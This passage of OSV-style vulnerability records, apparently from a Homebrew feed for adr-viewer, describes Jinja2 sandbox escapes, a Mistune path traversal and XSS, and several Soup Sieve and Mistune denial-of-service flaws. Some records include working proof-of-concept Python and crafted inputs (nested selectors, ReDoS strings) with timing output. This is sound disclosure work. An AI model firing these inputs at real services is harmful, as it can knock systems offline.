attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2025-27516","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-115355","published":"2026-10-26T10:20:03Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-h7ww-273w-6cm8","CVE-2026-115355"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune: Path Traversal and XSS in Include directive","details":"The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.\n\nAdditionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.\n\nAffected functions:\n- Path resolution (lines 27-31)\n- `block_error()` in html.py (line 140)\n- `render_html_include()` (line 72)\n\nThe Include plugin must be explicitly enabled via the plugins parameter.","references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-h7ww-273w-6cm8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115355"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/mistune-before-3.3.0-path-traversal-and-xss-via-include-directive"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-126190","published":"2026-11-13T10:42:28Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-mmhr-3c5m-f64f","CVE-2026-126190"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time denial of service in the descendant combinator","details":"## Summary\n\nMatching a selector that uses the descendant combinator (`a b`) takes time that grows polynomially with how deeply the document is nested, and each extra descendant combinator in the selector raises the degree by one. A selector with `k` descendant combinators takes `O(n^(k+1))` time on a chain of `n` nested elements.\n\nAn attacker who controls the HTML or XML that an application passes to Soup Sieve (directly, or through Beautiful Soup's `select()`, `select_one()`, `css.select()`, etc.) can send a very small, deeply nested document that keeps a CPU busy for seconds to minutes against an ordinary selector such as `section div div`.\n\n## Details\n\nTo match `a b`, Soup Sieve checks each element against `b` and then walks up through its ancestors looking for one that matches `a`. When the selector has more descendant combinators, the rest of the selector is tried again from each ancestor on that walk, and so on for every combinator. Nothing was reused between walks, so the same ancestors were matched against the same part of the selector over and over.\n\nThe worst case is when the leftmost part of the selector never matches, as in `section div div` against a document of nested `<div>` with no `<section>`: every walk goes all the way to the root and no search can stop early.\n\n### Timings\n\nExample timings with `html.parser` on Soup Sieve 3.0.4 and 4.0, using a document of nested `<div>` (5 bytes each) and no matches:\n\n| Nesting depth | Input size | Selector | 3.0.4 | 4.0 |\n| --- | --- | --- | --- | --- |\n| 2,000 | 10 KB | `section div` | 1.6 s | 0.05 s |\n| 4,000 | 20 KB | `section div` | 5.1 s | 0.01 s |\n| 400 | 2 KB | `section div div` | 6.7 s | < 0.01 s |\n| 800 | 4 KB | `section div div` | 53.0 s | < 0.01 s |\n| 100 | 0.5 KB | `section div div div` | 2.5 s | < 0.01 s |\n| 200 | 1 KB | `section div div div` | 40.9 s | < 0.01 s |\n\nNone of these selectors use unusual syntax.\n\n## Proof of concept\n\n```py\nimport time\nimport bs4\nimport soupsieve as sv\n\nsoup = bs4.BeautifulSoup('<div>' * 200, 'html.parser')\nt = time.process_time()\nsv.select('section div div div', soup)\nprint(time.process_time() - t)\n```\n\nOn affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where `k` is the number of descendant combinators: about 4x for `section div`, 8x for `section div div`, and 16x for `section div div div`.\n\n## Impact\n\nApplications are affected if they run selectors with descendant combinators against documents that untrusted users can influence, such as scrapers, HTML sanitizers or filters, and services that process uploaded or fetched markup. Descendant combinators are among the most common parts of CSS selectors, and a document of about 1 KB is enough to tie up a worker for close to a minute. Applications that only run selectors against trusted documents are not affected.\n\n## Patches\n\nFixed in 4.0 by [facelessuser/soupsieve#351](https://github.com/facelessuser/soupsieve/pull/351). Whether an element is, or has an ancestor that is, a match for part of a selector depends only on its parent, so Soup Sieve now caches that result per element and relation for every element visited on the walk. Each descendant combinator is then linear in the size of the document. Results are unchanged, and ordinary documents are no slower.\n\nCaching is enabled by default, so no changes are needed beyond upgrading. The `NOCACHE` flag is a temporary fallback for users who run into problems with caching, and it is planned for removal. It uses the old uncached matching, so selectors compiled with `NOCACHE` are still subject to polynomial time and shouldn't be used with descendant combinators on untrusted input.\n\n## Workarounds\n\nIf users can't upgrade:\n\n- Use as few descendant combinators as they can in selectors that run on untrusted documents. Where the structure of the\n  document is known, the child combinator (`a > b`) only looks at the parent and is not affected.\n- Limit the size and nesting depth of untrusted documents before selecting on them.\n- Run selection on untrusted input with a time limit, for example in a worker process that can be stopped.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-mmhr-3c5m-f64f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126190"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/351"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ff1a5ce7e5addc31626d7b6053511fecdb4f6320"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/4.0"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-126191","published":"2026-11-14T10:56:19Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-6655-6qjp-jx7x","CVE-2026-126191"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.0.2","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Exponential ReDoS in selector compilation via \\9-run in CSS_ESCAPES/IDENTIFIER","details":"### Summary\nThe IDENTIFIER/CSS_ESCAPES regex (css_parser.py:119-124) exhibits exponential backtracking on a run of ambiguous digit-escapes (`\\9`) in an attribute-name or tag position of an otherwise well-formed selector. It fires at compile time (before the SELECTOR_LIMIT guard) via the public `soupsieve.compile()` and BeautifulSoup `.select()`.\n\n### PoC (verified on soupsieve 2.9.2)\n\n    import soupsieve as sv\n    sv.compile('[a' + '\\\\9'*26 + '=x]')   # ~57 bytes -> ~10s; ~16x time per +4 chars\n\n### Novelty\nDistinct from the patched GHSA-836r-... (VALUE regex) and GHSA-2wc2-... (comma-list) advisories, which are fixed in 2.9.2; this is a different regex/vector.\n\n### Reachability\nCSS selectors are usually developer-controlled, so exposure requires an application that compiles UNTRUSTED selector strings (web-scraping-as-a-service, no-code/query builders, user-defined extraction rules). Where selectors are user-supplied, a ~60-byte string hangs the worker.\n\n### Note\nThis issue was fixed in version 3.0.0, which has been yanked from the PyPI registry. Use versions 3.0.2 and above to upgrade.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-6655-6qjp-jx7x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126191"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/300"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/dbfa2854ff31a863326bd6660d4e55c6f068db9e"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/3.0"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-126192","published":"2026-11-13T10:42:28Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-4j63-6c4x-wfg4","CVE-2026-126192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: General sibling combinator inside :has() matches untrusted HTML in quadratic time","details":"## Summary\n\nMatching a selector that puts a general-sibling combinator inside `:has()`, such as `div:has(a ~ b)`, against untrusted HTML runs in O(n²) time in the number of sibling elements. A single small document with a few thousand siblings ties the process up for a minute of CPU, so an application that runs a fixed selector of this shape over HTML it doesn't control can be stalled by one request.\n\n`:has` is powerful, but much in the same way poor regular expressions can be crafted to cause catastrophic backtracking with greedy capturing, has can be used to create non-ideal scenarios that can cause large portions of the tree to be evaluated for one or many elements if not used thoughtfully.\n\nThis behavior is not exclusive to Soup Sieve, but browsers make note of these potential performance issues themselves: https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:has#performance_considerations.\n\nWith all of that said, there is room for improvements that can in some cases greatly improve performance.\n\n## Details\n\n`:has(a ~ b)` asks \"does this element contain an `a` that has a later sibling `b`?\". When no `b` is present, soupsieve can't short-circuit, and it answers the question with a nested scan: `match_future_child` walks every candidate `a` under the scope, and for each one the general-sibling branch of `match_future_relations` walks all of that `a`'s following siblings looking for `b`. With n siblings that is (n-1) + (n-2) + ... + 1 comparisons, i.e. O(n²).\n\nThe adjacent-sibling form `div:has(a + b)` stays linear, because its branch checks only the one immediately following sibling per candidate. So the cost is specific to the general-sibling `~` (and `~` nested inside `:has`), and it shows up on the common case where the right-hand side simply isn't there.\n\n## Proof of concept\n\nInstalled from PyPI: `pip install soupsieve==2.9.2 beautifulsoup4`.\n\n```python\nimport time\nimport soupsieve\nfrom bs4 import BeautifulSoup\n\nselector = \"div:has(a ~ b)\"\n\nfor n in (1000, 2000, 4000, 8000):\n    html = \"<div>\" + (\"<a></a>\" * n) + \"</div>\"\n    soup = BeautifulSoup(html, \"html.parser\")\n    start = time.perf_counter()\n    soupsieve.select(selector, soup)\n    print(n, round((time.perf_counter() - start) * 1000), \"ms\")\n```\n\nMeasured:\n\n```\nn=1000    837 ms\nn=2000   3667 ms\nn=4000  14797 ms\nn=8000  59746 ms\n```\n\nTime quadruples for each doubling of n. The n=8000 input is a ~56 KB HTML fragment.\n\n## Impact\n\nAvailability. Any caller that evaluates a fixed selector containing a general sibling under `:has()` over attacker-controlled markup can be forced to spend minutes of CPU on a small input. The selector is developer-authored and ordinary; the untrusted part is the HTML, which is soupsieve's normal input.\n\nA single-pass evaluation of the sibling run (remember whether an `a` has been seen while scanning the siblings once) would make this case linear.\n\n## Mitigation\n\nQuadratic time for `:has` in some circumstances is expected and not a bug. While we've made optimizations and there may be more in the future, the way `:has` is designed to operate will never perform in linear time in all circumstances. Users should thoughtfully apply the use of `:has`.\n\nThe anchor selector (the `A` in `A:has(B)`) should not be an element that has too many children. Additionally, too general an anchor, such as `*`, can cause `:has()` to be applied to every element.\n\nFurther, it is recommended that the inner selector (the `B` in `A:has(B)`) should use combinators like `>` or `+` to limit traversal. When the selector inside `:has()` is not tightly constrained, Soup Sieve might need to traverse the entire subtree of the anchor\nelement to check the condition.\n\nIf the risk for a given project is too great, user input can be scanned for usage of `:has` and be denied. Calls can also be wrapped in a timeout to prevent long-running processes as well.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-4j63-6c4x-wfg4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126192"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/304"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ffb88cca745c591224f74a8e86414a85e8f35fc0"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.10"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-126193","published":"2026-11-14T10:56:19Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-7g44-g9rc-x53w","CVE-2026-126193"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.0.2","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Uncontrolled recursion in CSS parser lets nested pseudo-class selectors exhaust the Python call stack","details":"## Summary\n\nThe Soup Sieve CSS selector parser recurses once per level of nested pseudo-class selector (`:is()`, `:not()`, `:where()`, `:has()`) without any limit on nesting depth. An unauthenticated attacker who can supply a CSS selector string to `soupsieve.compile()`, `soupsieve.select()`, or Beautiful Soup's `soup.select()` / `soup.select_one()` can force the parser to exceed Python's recursion limit with a small crafted input (about 1.6 KB, roughly 330 nesting levels), raising an uncontrolled `RecursionError`. Because this exception is not part of the parser's documented error contract, applications that catch only `ValueError` or `SelectorSyntaxError` see an unexpected failure of the request or task that parsed the selector.\n\n## Root Cause\n\nThe parser dispatches each opening pseudo-class token to `parse_pseudo_open`, which calls back into `parse_selectors` to parse the pseudo-class body. Every nesting level therefore adds Python stack frames, and no counter, depth guard, or `RecursionError` handler bounds this descent. The token-count guard `SELECTOR_LIMIT = 8192` (added for the earlier comma-separated-list memory issue) counts parsed tokens, not recursion depth; at the failing nesting depth the token count is only about 330, roughly four percent of that limit, so the guard never fires. The security invariant that untrusted selector input must not be able to exhaust interpreter resources is not enforced for nesting depth.\n\n```text\nsoupsieve/css_parser.py\n  CSSParser.parse_pseudo_open (line 985): sel.selectors.append(self.parse_selectors(iselector, index, flags))\n  CSSParser.parse_selectors  (line 1137): recursive target; dispatches pseudo-class tokens back into parse_pseudo_class -> parse_pseudo_open\n  CSSParser.increment_count  (lines 707-712): SELECTOR_LIMIT token guard; increments once per nesting level, cannot bound depth\n```\n\n## Impact\n\nAny application that compiles or evaluates untrusted CSS selectors through Soup Sieve (directly or via Beautiful Soup) is affected. No authentication, privilege, or user interaction is required; the failure occurs during selector parsing, before any document is matched. A single crafted selector of about 1.6 KB reliably raises `RecursionError`. The demonstrated capability is a transient denial of the individual request, task, or invocation that parsed the malicious selector: the exception propagates uncaught unless the caller handles `RecursionError` (or a broad `except Exception`). The `RecursionError` in CPython 3.x is a recoverable stack unwind, not an interpreter crash or persistent resource exhaustion, and it carries no confidentiality or integrity impact. Applications following the parser's documented error pattern (catching `ValueError` / `SelectorSyntaxError`) will not catch it, so a repeated stream of such selectors can plausibly cause repeated per-request failures; this per-request availability effect is the demonstrated consequence, not a service-wide or amplified outage.\n\n## Proof of Concept\n\nRequires only an installed Soup Sieve (any release from 0.4 through 2.10) and a default CPython recursion limit of 1000. No Beautiful Soup document or network setup is needed.\n\n```python\nimport soupsieve as sv\n\n# ~330 levels of nested :is() around a single tag: about 1.6 KB of input.\ndepth = 330\nselector = \":is(\" * depth + \"a\" + \")\" * depth\nprint(\"selector length:\", len(selector))\nsv.compile(selector)\n```\n\n```text\nselector length: 1651\nTraceback (most recent call last):\n  ...\n  File \".../soupsieve/css_parser.py\", line 985, in parse_pseudo_open\n    sel.selectors.append(self.parse_selectors(iselector, index, flags))\nRecursionError: maximum recursion depth exceeded\n```\n\nThe same failure was reproduced with `:not()`, `:where()`, and `:has()`, and through `BeautifulSoup(...).select(selector)`. A negative control at depth 100 compiles successfully with a token count of 101, confirming the token guard is far from firing.\n\n## Attack Chain\n\n1. **Exposure:** The application exposes `soupsieve.compile()` / `select()` or Beautiful Soup's `.select()` / `.select_one()` to attacker-influenced CSS selector input. These are the library's primary public API and ship enabled by default; Soup Sieve is an automatic dependency of Beautiful Soup 4.\n2. **Control:** The attacker fully controls the selector string. The nested pseudo-class pattern (`:is(:is(...a...))`) survives tokenization and normalization unchanged.\n3. **Path:** `compile()` reaches `CSSParser.process_selectors()` and then `parse_selectors()`, which dispatches each pseudo-class token through `parse_pseudo_class()` into `parse_pseudo_open()`, which calls `parse_selectors()` again, once per nesting level.\n4. **Guard:** The only resource guard is the `SELECTOR_LIMIT` token counter, which reaches about 330 at the failing depth versus its limit of 8192, so it never fires. No recursion-depth counter and no `RecursionError` handler exist anywhere in the package.\n5. **Primitive:** Python's recursion limit is exceeded during parsing, raising an uncontrolled `RecursionError`.\n6. **Result:** The unhandled `RecursionError` propagates to the caller, failing the request, task, or process invocation that parsed the selector, outside the parser's documented `ValueError` / `SelectorSyntaxError` error contract.\n\n## Bypass Evidence\n\nThe relevant existing guard is the `SELECTOR_LIMIT = 8192` token counter in `increment_count()`. It does not block this path: it increments once per nesting level, so at the failing depth of about 330 the count is roughly 330 (about four percent of 8192), verified by instrumenting `increment_count` and observing a maximum count of 329 at the point `RecursionError` was raised. A search of the package for `RecursionError` and `RuntimeError` handlers returns no matches, so nothing catches the error internally, and `functools.lru_cache` on the compile path does not cache exceptions. Attempts to invalidate the finding were made and failed: raising the interpreter recursion limit only shifts the required nesting depth (a proportionally larger but still small selector), and a broad `except Exception` in the caller does catch the error but the parser's documented contract raises only `ValueError` / `SelectorSyntaxError`, so callers coded to that contract remain exposed. This is a distinct weakness from the prior comma-separated-list memory-exhaustion advisory: that issue exhausts heap memory through linear object expansion and was addressed by the token count limit, whereas this issue exhausts the call stack through unbounded recursion depth and is not addressed by any released version, including 2.8.4 which was independently confirmed to still raise `RecursionError` on this input.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: soupsieve`\n- `Confirmed affected range: >= 0.4, <= 2.10`\n- `Latest release checked: soupsieve 2.10 (PyPI, latest published release as of 2026-09-25)`\n- `Fix status: not fixed in any released version`\n\nThe recursive `parse_pseudo_open` to `parse_selectors` structure is present in the earliest PyPI release (0.4) and in every subsequent release through the current 2.10, verified against the published PyPI source artifacts. Version 2.5, release 2.8.4 (which added that token-count limit), and 2.10 were each executed and confirmed to raise `RecursionError` on the crafted input. No released version adds a recursion-depth limit; the token-count `SELECTOR_LIMIT` introduced in 2.8.4 is architecturally unable to bound nesting depth. There is no registry or tag disagreement and no package or module path change.\n\n## Possible Solution\n\nPython's `RecursionError` is sometimes a contested issue related to security. The Soup Sieve project does not consider it \"uncontrolled\" and allows it to be raised to indicate Python's maximum recursion depth was reached, and allows it to fail to prevent overflows, a much worse and real security vulnerability. With that said, the algorithm can be reworked to be non-recursive, allowing the selector limit check to now capture and raise an exception. In addition, the limit could be exposed to the user to give them better control.\n\n## Mitigation\n\nFor those on older versions where the algorithm is still recursive, a try/except block that captures `RecursionError` can be added around calls if accepting untrusted user input is allowed.\n\n## Note\n\nThis issue was fixed in version 3.0.0, which has been yanked from the PyPI registry. Use versions 3.0.2 and above to upgrade.\n\n---\n\nReported by zx (GitHub: @manus-pi).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-7g44-g9rc-x53w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126193"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/306"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/52de12f157a373614ad0f486d434551c5a4378ee"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/3.0"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-33079","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-8mp2-v27r-99xp","CVE-2026-33079","PYSEC-2026-2651"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input","details":"### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|'  # \"title\"\n    r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"   # 'title'\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = '[x](y \"' + '\\\\!' * n + ')'\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After 